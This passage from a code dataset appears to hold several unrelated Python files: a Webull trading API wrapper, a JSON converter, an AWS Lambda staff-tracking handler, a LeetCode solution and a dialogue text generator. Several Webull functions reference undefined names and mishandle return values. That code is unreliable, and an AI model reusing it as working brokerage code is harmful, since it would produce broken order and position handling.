site.clean)\n","sub_path":"extras_mongoengine/contrib/sites/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"153156274","text":"# Builtins\nimport datetime as dt\nfrom typing import Any, Dict, List, Tuple\nimport os.path\n\n# External libraries\nimport pandas as pd\nfrom webull import webull, paper_webull\nimport yaml\n\n# Submodule imports\nfrom harvest.api._base import API\nfrom harvest.utils import *\n\n\nclass Webull(API):\n    def __init__(self, path: str = None, paper_trader: bool = False):\n        super().__init__(path)\n        self.paper = paper_trader\n        self.wb_tokens = None\n        wb_filename = \"webull_credentials.json\"\n        if os.path.isfile(wb_filename):\n            self.wb_tokens = pd.read_pickle(wb_filename)\n        self.api = webull()\n        if self.paper:\n            self.api = paper_webull()\n        if self.wb_tokens or hasattr(self, \"config\"):\n            self.login()\n\n    def login(self):\n        debugger.debug(\"Logging into Webull...\")\n        wb_tokens = self.wb_tokens\n        if wb_tokens:\n            debugger.debug(\"Trying token login\")\n            try:\n                ret = self.api.api_login(\n                    access_token=wb_tokens[\"accessToken\"],\n                    refresh_token=wb_tokens[\"refreshToken\"],\n                    token_expire=wb_tokens[\"tokenExpireTime\"],\n                    uuid=wb_tokens[\"uuid\"],\n                )\n                if not self.api.is_logged_in():\n                    debugger.debug(f\"Token login failed. \\n{e}\")\n                    wb_tokens = None\n            except Exception as e:\n                debugger.debug(f\"Token login failed. \\n{e}\")\n                wb_tokens = None\n        elif not wb_tokens and hasattr(self, \"config\"):\n            debugger.debug(\"Trying interactive login.\")\n            self.api.login(self.config[\"wb_username\"], self.config[\"wb_password\"])\n        debugger.debug(f\"Logged-in?: {self.api.is_logged_in()}, Paper: {self.paper}\")\n\n    def refresh_cred(self):\n        debugger.debug(\"Refreshing creds for Webull...\")\n        # self.api.logout()\n        self.api.refresh_login(save_token=True)\n        # self.login()\n\n    def setup(self, watch: List[str], interval, trader=None, trader_main=None):\n        self.watch_stock = []\n        self.watch_crypto = []\n        self.watch_crypto_fmt = []\n        if interval not in self.interval_list:\n            raise Exception(f\"Invalid interval {interval}\")\n\n        for s in watch:\n            if is_crypto(s):\n                self.watch_crypto_fmt.append(s[1:])\n                self.watch_crypto.append(s)\n            else:\n                self.watch_stock.append(s)\n\n        val, unit = expand_interval(interval)\n        if unit == \"MIN\":\n            self.interval_fmt = f\"m{val}\"\n        elif unit == \"HR\":\n            self.interval_fmt = f\"h{val}\"\n\n        self.__option_cache = {}\n        super().setup(watch, interval, interval, trader, trader_main)\n\n    def exit(self):\n        self.__option_cache = {}\n\n    def main(self):\n        df_dict = {}\n        df_dict.update(self.fetch_latest_stock_price())\n        df_dict.update(self.fetch_latest_crypto_price())\n\n        self.trader_main(df_dict)\n\n    @API._exception_handler\n    def fetch_latest_stock_price(self):\n        df = {}\n        for s in self.watch_stock:\n            ret = self.api.get_bars(stock=s, interval=self.interval_fmt)\n            if len(ret) == 0:\n                continue\n            df_tmp = pd.DataFrame.from_dict(ret)\n            df_tmp = self._format_df(df_tmp, [s], self.interval).iloc[[-1]]\n            df[s] = df_tmp\n\n        return df\n\n    @API._exception_handler\n    def fetch_latest_crypto_price(self):\n        df = {}\n        for s in self.watch_crypto_fmt:\n            ret = self.api.get_bars(stock=s, interval=self.interval_fmt)\n            df_tmp = pd.DataFrame.from_dict(ret)\n            df_tmp = self._format_df(df_tmp, [\"@\" + s], self.interval).iloc[[-1]]\n            df[\"@\" + s] = df_tmp\n\n        return df\n\n    # -------------- Streamer methods -------------- #\n\n    @API._exception_handler\n    def fetch_price_history(\n        self,\n        symbol: str,\n        interval: str,\n        start: dt.datetime = None,\n        end: dt.datetime = None,\n    ):\n\n        if start is None:\n            start = dt.datetime(1970, 1, 1)\n        if end is None:\n            end = dt.datetime.now()\n\n        df = pd.DataFrame()\n\n        if start >= end:\n            return df\n\n        val, unit = expand_interval(interval)\n        if unit == \"MIN\":\n            self.interval_fmt = f\"m{val}\"\n        elif unit == \"HR\":\n            self.interval_fmt = f\"h{val}\"\n\n        delta = end - start\n        delta = delta.total_seconds()\n        delta = delta / 3600\n        period = 1\n        timeframe = 1\n        if interval == \"DAY\" and delta < 24:\n            return df\n        if delta < 1 or interval == \"15SEC\" or interval == \"1MIN\":\n            span = \"hour\"\n            period = 1\n            timeframe = 1\n        elif delta >= 1 and delta < 24 or interval in [\"5MIN\", \"15MIN\", \"30MIN\", \"1HR\"]:\n            span = \"day\"\n        elif delta >= 24 and delta < 24 * 28:\n            span = \"month\"\n        elif delta < 24 * 300:\n            span = \"year\"\n        else:\n            span = \"5year\"\n\n        if is_crypto(symbol):\n            df = self.api.get_bars(\n                symbol[1:],\n                interval=self.interval_fmt,\n                count=int((390 * int(period)) / int(timeframe)),\n            )\n        else:\n            df = self.api.get_bars(\n                symbol,\n                interval=self.interval_fmt,\n                count=int((390 * int(period)) / int(timeframe)),\n            )\n\n        df = self._format_df(df, [symbol], interval)\n\n        return df\n\n    @API._exception_handler\n    def fetch_chain_info(self, symbol: str):\n        ret = self.api.get_options_expiration_dates(symbol)\n        return {\n            \"id\": \"n/a\",\n            \"exp_dates\": [str_to_date(s[\"date\"]) for s in ret],\n            \"multiplier\": 100,\n        }\n\n    @API._exception_handler\n    def fetch_chain_data(self, symbol: str, date: dt.datetime):\n\n        if (\n            bool(self.__option_cache)\n            and symbol in self.__option_cache\n            and date in self.__option_cache[symbol]\n        ):\n            return self.__option_cache[symbol][date]\n\n        ret = self.api.get_options(stock=symbol, expireDate=date_to_str(date))\n        exp_date = []\n        strike = []\n        type = []\n        id = []\n        occ = []\n        for entry in ret:\n            date = entry[\"call\"][\"expireDate\"]\n            date = str_to_date(date)\n            price = float(entry[\"strikePrice\"])\n            if entry.get(\"call\"):\n                exp_date.append(date)\n                strike.append(price)\n                type.append(\"call\")\n                id.append(entry[\"call\"][\"tickerId\"])\n                occ.append(self.data_to_occ(symbol, date, \"call\", price))\n            if entry.get(\"put\"):\n                exp_date.append(date)\n                strike.append(price)\n                type.append(\"put\")\n                id.append(entry[\"put\"][\"tickerId\"])\n                occ.append(self.data_to_occ(symbol, date, \"put\", price))\n\n        df = pd.DataFrame(\n            {\n                \"occ_symbol\": occ,\n                \"exp_date\": exp_date,\n                \"strike\": strike,\n                \"type\": type,\n                \"id\": id,\n            }\n        )\n        df = df.set_index(\"occ_symbol\")\n\n        if not symbol in self.__option_cache:\n            self.__option_cache[symbol] = {}\n        self.__option_cache[symbol][date] = df\n\n        return df\n\n    @API._exception_handler\n    def fetch_option_market_data(self, symbol: str):\n        sym, date, type, price = self.occ_to_data(symbol)\n        oc_id = self.__option_cache[sym][date][\n            self.__option_cache[sym][date].index == symbol\n        ].id[0]\n        ret = self.api.get_option_quote(stock=sym, optionId=oc_id)\n        if not ret.get(\"data\"):\n            debugger.error(f\"Error in fetch_option_market_data.\\nReturned: {ret}\")\n            raise Exception(f\"Error in fetch_option_market_data.\\nReturned: {ret}\")\n            return\n        try:\n            price = float(ret[\"data\"][0][\"close\"])\n        except:\n            price = (\n                float(ret[\"data\"][0][\"askList\"][0][\"price\"])\n                + float(ret[\"data\"][0][\"bidList\"][0][\"price\"])\n            ) / 2\n        return {\n            \"price\": price,\n            \"ask\": float(ret[\"data\"][0][\"askList\"][0][\"price\"]),\n            \"bid\": float(ret[\"data\"][0][\"bidList\"][0][\"price\"]),\n        }\n\n    # ------------- Broker methods ------------- #\n\n    @API._exception_handler\n    def fetch_stock_positions(self):\n        ret = self.api.get_positions()\n        pos = []\n        for r in ret:\n            if r[\"assetType\"] != \"stock\":\n                continue\n            pos.append(\n                {\n                    \"symbol\": disSymbol,\n                    \"avg_price\": float(r[\"costPrice\"]),\n                    \"quantity\": float(r[\"position\"]),\n                }\n            )\n        return pos\n\n    @API._exception_handler\n    def fetch_option_positions(self):\n        ret = self.api.get_positions()\n        pos = []\n        for r in ret:\n            if r[\"assetType\"] != \"OPTION\":\n                continue\n            # Get option data such as expiration date\n            data = self.api.get_option_quote(\n                stock=r[\"ticker\"][\"tickerId\"], optionId=r[\"tickerId\"]\n            )\n            pos.append(\n                {\n                    \"symbol\": r[\"ticker\"][\"symbol\"],\n                    \"avg_price\": float(r[\"cost\"])\n                    / float(data[\"data\"][0][\"quoteMultiplier\"]),\n                    \"quantity\": float(r[\"position\"]),\n                    \"multiplier\": float(data[\"data\"][0][\"quoteMultiplier\"]),\n                    \"exp_date\": data[\"data\"][0][\"expireDate\"],\n                    \"strike_price\": float(data[\"data\"][0][\"strikePrice\"]),\n                    \"type\": data[\"data\"][0][\"direction\"],\n                }\n            )\n            pos[-1][\"occ_symbol\"] = data[\"data\"][0][\"symbol\"]\n\n        return pos\n\n    @API._exception_handler\n    def fetch_crypto_positions(self, key=None):\n        ret = self.api.get_positions()\n        pos = []\n        for r in ret:\n            if r[\"assetType\"] != \"crypto\":\n                continue\n            qty = float(r[\"position\"])\n\n            pos.append(\n                {\n                    \"symbol\": \"@\" + r[\"ticker\"][\"symbol\"],\n                    \"avg_price\": float(r[\"cost\"]) / qty,\n                    \"quantity\": qty,\n                }\n            )\n        return pos\n\n    @API._exception_handler\n    def update_option_positions(self, positions: List[Any]):\n        for r in positions:\n            sym, date, type, price = self.occ_to_data(r[\"occ_symbol\"])\n            oc_id = self.__option_cache[sym][date][\n                self.__option_cache[sym][date].index == symbol\n            ].id[0]\n            ret = self.api.get_option_quote(stock=sym, optionId=oc_id)\n\n            r[\"current_price\"] = float(ret[\"data\"][0][\"close\"])\n            r[\"market_value\"] = float(ret[\"data\"][0][\"close\"]) * r[\"quantity\"]\n            r[\"cost_basis\"] = r[\"avg_price\"] * r[\"quantity\"]\n\n    @API._exception_handler\n    def fetch_account(self):\n        ret = self.api.get_account()[\"accountMembers\"]\n        return {\n            \"equity\": float(ret[\"equities\"][\"equity\"][\"amount\"]),\n            \"cash\": float(ret[\"cashBalance\"]),\n            \"buying_power\": float(ret[\"dayBuyingPower\"]),\n            \"bp_options\": float(ret[\"optionBuyingPower\"]),\n            \"bp_crypto\": float(ret[\"cryptoBuyingPower\"]),\n            \"multiplier\": float(-1),\n        }\n\n    @API._exception_handler\n    def fetch_stock_order_status(self, id):\n        ret = self.api.get_history_orders()\n        for r in ret:\n            if r[\"orderId\"] == id:\n                return {\n                    \"type\": \"STOCK\",\n                    \"id\": r[\"orderId\"],\n                    \"symbol\": ret[\"symbol\"],\n                    \"quantity\": ret[\"qty\"],\n                    \"filled_quantity\": ret[\"filled_qty\"],\n                    \"side\": ret[\"side\"],\n                    \"time_in_force\": ret[\"time_in_force\"],\n                    \"status\": ret[\"status\"],\n                }\n\n    @API._exception_handler\n    def fetch_option_order_status(self, id):\n        ret = self.api.get_history_orders()\n        for res in ret:\n            if r[\"orderId\"] == id:\n                return {\n                    \"type\": \"OPTION\",\n                    \"id\": ret[\"id\"],\n                    \"symbol\": r[\"chain_symbol\"],\n                    \"qty\": ret[\"quantity\"],\n                    \"filled_qty\": ret[\"processed_quantity\"],\n                    \"side\": ret[\"legs\"][0][\"side\"],\n                    \"time_in_force\": ret[\"time_in_force\"],\n                    \"status\": ret[\"state\"],\n                }\n\n    @API._exception_handler\n    def fetch_crypto_order_status(self, id):\n        ret = self.api.get_history_orders()\n        for r in ret:\n            if r[\"orderId\"] == id:\n                return {\n                    \"type\": \"CRYPTO\",\n                    \"id\": ret[\"id\"],\n                    \"qty\": float(ret[\"quantity\"]),\n                    \"filled_qty\": float(ret[\"cumulative_quantity\"]),\n                    \"filled_price\": float(ret[\"executions\"][0][\"effective_price\"])\n                    if len(ret[\"executions\"])\n                    else 0,\n                    \"filled_cost\": float(ret[\"rounded_executed_notional\"]),\n                    \"side\": ret[\"side\"],\n                    \"time_in_force\": ret[\"time_in_force\"],\n                    \"status\": ret[\"state\"],\n                }\n\n    @API._exception_handler\n    def fetch_order_queue(self):\n        queue = []\n        ret = self.api.get_current_orders()\n        for r in ret:\n            queue.append(\n                {\n                    \"type\": r[\"assetType\"],\n                    \"symbol\": r[\"ticker\"][\"symbol\"],\n                    \"quantity\": r[\"totalQuantity\"],\n                    \"filled_qty\": r[\"filledQuantity\"],\n                    \"id\": r[\"orderId\"],\n                    \"time_in_force\": r[\"timeInForce\"],\n                    \"status\": r[\"status\"],\n                    \"side\": r[\"action\"],\n                }\n            )\n        return queue\n\n    # Order functions are not wrapped in the exception handler to prevent duplicate\n    # orders from being made.\n    def order_limit(\n        self,\n        side: str,\n        symbol: str,\n        quantity: float,\n        limit_price: float,\n        in_force: str = \"gtc\",\n        extended: bool = False,\n    ):\n        ret = None\n        try:\n            if symbol[0] == \"@\":\n                symbol = symbol[1:]\n                ret = place_order_crypto(\n                    stock=symbol,\n                    tId=None,\n                    price=limit_price,\n                    action=side.upper(),\n                    orderType=\"LMT\",\n                    enforce=in_force,\n                    entrust_type=\"QTY\",\n                    quant=quantity,\n                    outsideRegularTradingHour=extended,\n                )\n                typ = \"CRYPTO\"\n            else:\n                ret = self.api.place_order(\n                    stock=symbol,\n                    tId=None,\n                    price=limit_price,\n                    action=side.upper(),\n                    orderType=\"LMT\",\n                    enforce=in_force,\n                    quant=quantity,\n                    outsideRegularTradingHour=extended,\n                )\n                typ = \"STOCK\"\n            if not ret or not ret.get(\"data\"):\n                debugger.error(f\"Error while placing order.\\nReturned: {ret}\")\n                raise Exception(\"Error while placing order.\")\n            return {\n                \"type\": typ,\n                \"id\": ret[\"data\"][\"orderId\"],\n                \"symbol\": symbol,\n            }\n        except:\n            debugger.error(\n                f\"Error while placing order.\\nReturned: {ret}\", exc_info=True\n            )\n            raise Exception(\"Error while placing order.\")\n\n    def order_option_limit(\n        self,\n        side: str,\n        symbol: str,\n        quantity: int,\n        limit_price: float,\n        option_type,\n        exp_date: dt.datetime,\n        strike,\n        in_force: str = \"gtc\",\n    ):\n        ret = None\n        oc_id = self.__option_cache[sym][date][\n            self.__option_cache[sym][date].index == symbol\n        ].id[0]\n        if not isinstance(oc_id, int):\n            debugger.error(\n                f\"Error while placing order_option_limit. Can't find optionId.\"\n            )\n            raise Exception(\"Error while placing order.\")\n        try:\n            ret = self.api.place_order_option(\n                optionId=oc_id,\n                lmtPrice=limit_price,\n                stpPrice=None,\n                action=side.upper(),\n                orderType=\"LMT\",\n                enforce=in_force,\n                quant=quantity,\n            )\n\n            if not ret or not ret.get(\"data\"):\n                debugger.error(f\"Error while placing order.\\nReturned: {ret}\")\n                raise Exception(\"Error while placing order.\")\n            return {\n                \"type\": \"OPTION\",\n                \"id\": ret[\"data\"][\"orderId\"],\n                \"symbol\": symbol,\n            }\n\n        except:\n            debugger.error(\"Error while placing order.\\nReturned: {ret}\", exc_info=True)\n            raise Exception(\"Error while placing order\")\n\n    def _format_df(\n        self, df: pd.DataFrame, watch: List[str], interval: str, latest: bool = False\n    ):\n        df = df[[\"open\", \"close\", \"high\", \"low\", \"volume\"]].astype(float)\n        df.columns = pd.MultiIndex.from_product([watch, df.columns])\n        return df.dropna()\n\n    def create_secret(self, path):\n        import harvest.wizard as wizard\n\n        w = wizard.Wizard()\n\n        w.println(\n            \"Hmm, looks like you haven't set up login credentials for Webull yet.\"\n        )\n        should_setup = w.get_bool(\"Do you want to set it up now?\", default=\"y\")\n\n        if not should_setup:\n            w.println(\"Webull has limited functionality when not logged in.\")\n            w.println(\"You can set up the credentials manually, or use other brokers.\")\n            return False\n\n        w.println(\"Alright! Let's get started\")\n\n        have_account = w.get_bool(\"Do you have a Webull account?\", default=\"y\")\n        if not have_account:\n            w.println(\n                \"In that case you'll first need to make an account. I'll wait here, so hit Enter or Return when you've done that.\"\n            )\n            w.wait_for_input()\n\n        username = w.get_string(\"Username: \")\n        password = w.get_password(\"Password: \")\n        device = w.get_string(\"Device Name (e.g. Harvester): \")\n        w.println(f\"Getting security question.\")\n        from webull import webull\n\n        wb = webull()\n        sec_question = wb.get_security(username)[0]\n\n        if not sec_question:\n            w.println(\"Come back after setting up a security question.\")\n            return False\n\n        sec_answer = w.get_string(f\"{sec_question['questionName']}: \")\n\n        if sec_question[\"questionId\"] == \"1001\":\n            sec_check = len(sec_answer)\n            while sec_check != 4:\n                new_passcode = w.get_bool(\n                    \"The code should be only 4 digits... do you want to re-try?\",\n                    default=\"n\",\n                )\n                if new_passcode:\n                    sec_answer = w.get_string(f\"{sec_question['questionName']}: \")\n                    sec_check = len(sec_answer)\n                else:\n                    break\n\n        w.println(f\"Requesting MFA code via email.\")\n        wb.get_mfa(username)\n        mfa = w.get_password(\"MFA Code: \")\n\n        ret = wb.login(\n            username,\n            password,\n            device,\n            mfa,\n            sec_question[\"questionId\"],\n            sec_answer,\n            save_token=True,\n        )\n\n        if not wb.is_logged_in():\n            w.println(f\"Login failed... check your info and try again.\\nReason: {ret}\")\n            return False\n\n        wb.logout()\n        w.println(f\"All steps are complete now 🎉. Generating secret.yml...\")\n\n        d = {\"wb_username\": f\"{username}\", \"wb_password\": f\"{password}\"}\n\n        with open(path, \"w\") as file:\n            yml = yaml.dump(d, file)\n\n        w.println(\n            f\"secret.yml has been created! Make sure you keep this file somewhere secure and never share it with other people.\"\n        )\n\n        return True\n","sub_path":"harvest/api/webull.py","file_name":"webull.py","file_ext":"py","file_size_in_byte":20496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"523476096","text":"import gzip\nimport json\n\nwith gzip.open('source-data/pleiades-places-20160912.json.gz', 'rb') as f, open('pleiades.jsonl', 'w') as out:\n  pleiades = json.loads(f.read().decode('utf8'))\n\n  for place in pleiades['@graph']:\n    out.write(json.dumps(place, ensure_ascii=False) + '\\n')\n\n  f.close()\n  out.close()\n","sub_path":"pleiades/jsonToJsonl.py","file_name":"jsonToJsonl.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"184397973","text":"import boto3\nfrom datetime import datetime\nimport time\nimport json\nimport os\nimport io\nimport config\nimport api\n\n\n\ndef lambda_handler(event,context):\n    s3_client = boto3.client('s3', \n                    aws_access_key_id=config.AWS_ACCESS_KEY,\n                    aws_secret_access_key=config.AWS_SECRET_KEY)\n    csv_obj = s3_client.get_object(Bucket = config.AWS_S3_BUCKET,Key = config.AWS_S3_FILE_KEY)\n    body = csv_obj['Body']\n    json_string = body.read().decode('utf-8')\n    staffRecord = json.loads(json_string)\n    body.close()\n\n    frame = {\n        \"frameId\" : event['frameId'],\n        \"timestamp\" : event['eventTimestamp'],\n        \"imageUrl\" : event['imageUrl'],\n        \"site\" : event['site']\n    }\n    \n    recordList = []\n\n    eventList = api.getData(event)\n        \n    for member in config.memberList:\n        flag = 0\n        for i in eventList:\n            if member in i:\n                flag = 1\n        if flag ==1:\n            continue\n        \n        print(member)\n\n        if  member not in staffRecord:\n            continue\n        judge = staffRecord[member]\n\n        # member last Record In not trigger this function\n\n            \n\n            \n        eventProfile = {\n                \"frameId\" : judge['frameId'],\n                \"eventTimestamp\" : judge['eventTimestamp'],\n                \"name\" : member,\n                \"frameUrl\":judge['frameUrl'],\n                \"site\" :\"OUT\"\n            }\n        staffRecord[eventProfile['name']] = eventProfile\n        api.writeData(staffRecord)\n\n        frame2 = {\n                \"frameId\" :  judge['frameId'],\n                \"timestamp\" :judge['eventTimestamp'],\n                \"imageUrl\" : judge['frameUrl'],\n                \"site\" : \"OUT\"\n            }\n\n        behaviorDetection = {\n                \"personId\" : member,\n                \"inTime\" : 0,\n                \"outTime\" : judge['eventTimestamp'],\n                \"isMember\" :1,\n                \"stayTime\" : judge['eventTimestamp']- event['eventTimestamp'],\n                \"coordinate_x\" : 0.0,\n                \"coordinate_y\" : 0.0\n            }\n\n            \n        fraudModel = {\n                \"frame\" :[frame2],\n                \"behaviorDetection\" : behaviorDetection\n            }\n        recordList.append(fraudModel)\n\n    if len(eventList) !=0:\n        print(len(eventList))\n        for count in range(len(eventList)):\n            \n            eventProfile = {\n                \"frameId\" : eventList[count][0],\n                \"eventTimestamp\" : eventList[count][1],\n                \"name\" : eventList[count][2],\n                \"frameUrl\":eventList[count][3],\n                \"site\" :eventList[count][4]\n            }\n            print(eventProfile)\n\n            if eventProfile['name'] not in staffRecord:\n                staffRecord[eventProfile['name']] = eventProfile\n                api.writeData(staffRecord)\n                continue \n            recordProfile = staffRecord[eventProfile['name']]\n            print(recordProfile)\n\n            frame2 = {\n                        \"frameId\" :  recordProfile['frameId'],\n                        \"timestamp\" :recordProfile['eventTimestamp'],\n                        \"imageUrl\" : recordProfile['frameUrl'],\n                        \"site\" : recordProfile['site']\n                    }\n            \n                \n\n            if eventProfile['site'] == 'IN':\n                    # last Time  is \"OUT\"\n                    # stay Time = in -out\n                    #[frame,frame2] = [IN,OUT]\n                    \n\n                behaviorDetection = {\n                    \"personId\" : eventProfile['name'],\n                    \"inTime\" : eventProfile['eventTimestamp'],\n                    \"outTime\" : recordProfile['eventTimestamp'],\n                    \"isMember\" :1,\n                    \"stayTime\" : recordProfile['eventTimestamp'] - eventProfile['eventTimestamp'],\n                    \"coordinate_x\" : 0.0,\n                    \"coordinate_y\" : 0.0\n                    }\n\n                fraudModel = {\n                    \"frame\" :[frame,frame2],\n                    \"behaviorDetection\" : behaviorDetection\n                    }\n                staffRecord[eventProfile['name']] = eventProfile\n                api.writeData(staffRecord)\n                recordList.append(fraudModel)\n\n\n\n    return recordList\n","sub_path":"member/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"613953850","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Source: https://leetcode.com/problems/house-robber-ii/\n# Author: Miao Zhang\n# Date:   2021-01-26\n\nclass Solution:\n    def rob(self, nums: List[int]) -> int:\n        if not nums:\n            return 0\n        n = len(nums)\n        if n == 1: return nums[0]\n        if n == 2: return max(nums[0], nums[1])\n        return max(self.robTotal(nums[0: n - 1]), self.robTotal(nums[1: n]))\n    \n    def robTotal(self, nums: List[int]) -> int:\n        if not nums:\n            return 0\n        n = len(nums)\n        if n == 1: return nums[0]\n        if n == 2: return max(nums[0], nums[1])\n        dp = [0] * len(nums)\n        dp[0] = nums[0]\n        dp[1] = max(nums[0], nums[1])\n        for i in range(2, n):\n            dp[i] = max(dp[i - 1], dp[i - 2] + nums[i])\n        return dp[n - 1]\n","sub_path":"algorithms/python/houseRobberII/houseRobberII.py","file_name":"houseRobberII.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"567400206","text":"import cleaners, phrases\nfrom conversation import *\n\nimport fileinput, math, random\n\n\ndef choose_with_probability(a, b, prob):\n    \"\"\"\" chance of returning b is 0 <= prob <= 1 \"\"\"\n    if random.uniform(0, 1.0) <= prob:\n        return  b\n    return a\n\nclass UniformPicker(object):\n    def __init__(self):\n        self.chosen = None\n        self.count = 0\n\n    def add(self, pickable):\n        self.count += 1\n\n        if self.chosen is None:\n            self.chosen = pickable\n        else:\n            # this is uniform\n            # chance of keeping self.chosen = 1 - (1/n)\n            self.chosen = choose_with_probability(self.chosen, pickable, 1.0 / self.count)\n        return self.chosen == pickable\n\n    def pick(self):\n        return self.chosen\n\n\nclass Sentiment(object):\n    def __init__(self, mocking = 0, confirming = 0, excitement = 0, repeating = 0):\n        self.mocking = mocking\n        self.confirming = confirming\n        self.excitement = excitement\n        self.repeating = repeating\n        self.interrupting = 0\n\n    EXCITING_WORDS = [\"!\", \"wow\", \"incredible\", \"amazing\", \"yes\"]\n\n    @staticmethod\n    def for_phrase(phrase):\n        lowered  = phrase.lower()\n\n        score = Sentiment()\n        score.excitement = sum(w in lowered for w in Sentiment.EXCITING_WORDS)\n\n        return score\n\n    @staticmethod\n    def update_dialog_scores(dialog):\n        for i in range(1, len(dialog)):\n            current = dialog[i]\n            previous = dialog[i - 1]\n            last_by_actor = Sentiment.previous_phrase(dialog, i, current)\n            last_by_actor = last_by_actor or DialoguePhrase.make_empty(current.actor)\n\n            # cannot interrupt yourself\n            if previous.actor != current.actor and previous.interrupted:\n                current.sentiment.interrupting = 1\n\n            if Sentiment.is_repeating(dialog, i):\n                current.sentiment.repeating += 1\n\n            if Sentiment.is_mimicking(dialog, i):\n                if last_by_actor.sentiment.mocking > 0:\n                    current.sentiment.mocking = last_by_actor.sentiment.mocking + 1\n                elif last_by_actor.sentiment.confirming > 0:\n                    current.sentiment.confirming = last_by_actor.sentiment.confirming + 1\n                elif random.uniform(0, 1) < 0.5:\n                    current.sentiment.mocking += 1\n                else:\n                    current.sentiment.confirming += 1\n\n    @staticmethod\n    def is_repeating(dialog, starting_from):\n        words = dialog[starting_from].phrase\n        actor = dialog[starting_from].actor\n\n        for i in range(starting_from - 1, max(0, starting_from - 9), - 1):\n            if dialog[i].actor == actor and dialog[i].phrase == words:\n                return True\n        return False\n\n    @staticmethod\n    def is_mimicking(dialog, starting_from):\n        words = dialog[starting_from].phrase\n        actor = dialog[starting_from].actor\n\n        for i in range(starting_from, max(0, starting_from - 5), - 1):\n            if dialog[i].actor != actor and dialog[i].phrase == words:\n                return True\n        return False\n\n    @staticmethod\n    def previous_phrase(dialog, starting_from, actor):\n        for i in range(starting_from, 0 , -1):\n            if dialog[i].actor == actor:\n                return dialog[i]\n        return None\n\n    def dist(self, other):\n        return (self.excitement - other.excitement) ** 2 + \\\n            (self.mocking - other.mocking) ** 2 + \\\n            (self.interrupting - other.interrupting) ** 2 + \\\n            (self.repeating - other.repeating) ** 2 + \\\n            (self.confirming - other.confirming) ** 2\n\n    def pick_direction(self):\n        direction = ''\n        score = 10000\n        for d, s in Sentiment.DIRECTIONS.items():\n            next_score = s.dist(self)\n            if next_score == score:\n                direction = random.choice([d, direction])\n            elif next_score < score:\n                score = next_score\n                direction = d\n        return direction\n\nINTERRUPTING_SENTIMENT = Sentiment(0, 0, 0, 0)\nINTERRUPTING_SENTIMENT.interrupting = 1\n\nSentiment.DIRECTIONS = {\n    ' (mocking)': Sentiment(1, 0, 0, 0),\n    ' (mocking loudly)': Sentiment(2, 0, 0, 0),\n    ' (mocking excitedly)': Sentiment(1, 0, 1, 0),\n    ' (reiterating)': Sentiment(0, 0, 0, 1),\n    ' (repeating)': Sentiment(0, 0, 0, 1),\n    ' (chanting)': Sentiment(0, 0, 1, 1),\n    ' (agreeing)': Sentiment(0, 1, 0, 0),\n    ' (cheering)': Sentiment(0, 1, 1, 0),\n    ' (interrupting)': INTERRUPTING_SENTIMENT,\n    '': Sentiment(0, 0, 0, 0)\n}\n\n\n\nclass DialoguePhrase(object):\n    def __init__(self, phrase, phrase_type, actor):\n        self.phrase = phrase.detokenized\n        self.interrupted = phrase.interrupted\n        self.phrase_type = phrase_type\n        self.actor = actor\n\n        self.sentiment = Sentiment.for_phrase(self.phrase)\n        self.direction = \"\"\n\n    @staticmethod\n    def make_empty(actor):\n        return DialoguePhrase(phrases.GeneratedSentence(\"\", 0, False), phrases.FACT, actor)\n\nclass ChapterGenerator(object):\n    def __init__(self):\n        self.teacher = phrases.Corpus()\n        add_teacher_conversation(self.teacher)\n\n        self.student = phrases.Corpus()\n        add_student_conversation(self.student)\n\n        self.phrases = []\n        self.word_count = 0\n\n    def clean_corpuses(self):\n        for corpus in (self.teacher, self.student):\n            corpus.fix_casing()\n\n            corpus.counts.delete(\"\\\\\")\n            corpus.counts.delete(\"\\\\\\\\\")\n            corpus.counts.delete(\"\\\\\")\n            corpus.counts.delete(\"\\\\1\")\n\n    def teach_teacher(self, document):\n        self.teacher.add_document(document)\n\n    def teach_student(self, document):\n        self.student.add_document(document)\n\n    def teacher_speak(self, phrase_type=None):\n        phrase_type = phrase_type or self.randomPhraseType()\n\n        phrase = self.teacher.generate_sentence(phrase_type, \"Socrates\")\n        self.word_count += phrase.length\n        self.phrases.append(DialoguePhrase(phrase, phrase_type, \"SOCRATES\"))\n\n        self.teach_student(phrase.detokenized)\n\n    def student_speak(self, phrase_type=None):\n        phrase_type = phrase_type or self.randomPhraseType()\n\n        phrase = self.student.generate_sentence(phrase_type, \"Aristotle\")\n        self.word_count += phrase.length\n        self.phrases.append(DialoguePhrase(phrase, phrase_type, \"ARISTOTLE\"))\n\n        if phrase_type is phrases.FACT:\n            self.teach_teacher(phrase.detokenized)\n\n    def student_discover(self, things=1):\n        for i in range(things):\n            self.teach_student(self.teacher.generate_sentence(phrases.DECLARATION).detokenized)\n\n    def randomPhraseType(self):\n        return random.choice([phrases.FACT, phrases.DECLARATION, phrases.QUESTION])\n\n    def compute_sentiments(self):\n        Sentiment.update_dialog_scores(self.phrases)\n        for p in self.phrases:\n            p.direction = p.sentiment.pick_direction()\n\n    def generate_title(self):\n        return self.student.generate_sentence(phrases.QUESTION).detokenized\n\n    @staticmethod\n    def generate_from_documents(docs):\n        pickers = [UniformPicker() for i in range(10)]\n\n        docs = cleaners.remove_empty_docs(docs)\n        for doc in docs:\n            for p in pickers:\n                p.add(doc)\n\n        gen = ChapterGenerator()\n\n        for p in pickers[:-3]:\n            # teach twice for higher probability of using this text\n            gen.teach_teacher(p.chosen)\n            gen.teach_teacher(p.chosen)\n\n        for p in pickers[3:]:\n            # teach twice for higher probability of using this text\n            gen.teach_student(p.chosen)\n            gen.teach_student(p.chosen)\n\n        gen.clean_corpuses()\n\n        gen.teacher_speak(phrases.QUESTION)\n        for i in range(15):\n            gen.teacher_speak(phrases.FACT)\n            gen.teacher_speak(phrases.QUESTION)\n\n            gen.student_speak()\n            gen.student_discover(i) # the socratic method in action!\n            gen.student_speak(phrases.FACT)\n\n        gen.compute_sentiments()\n\n        return gen\n\n\nclass 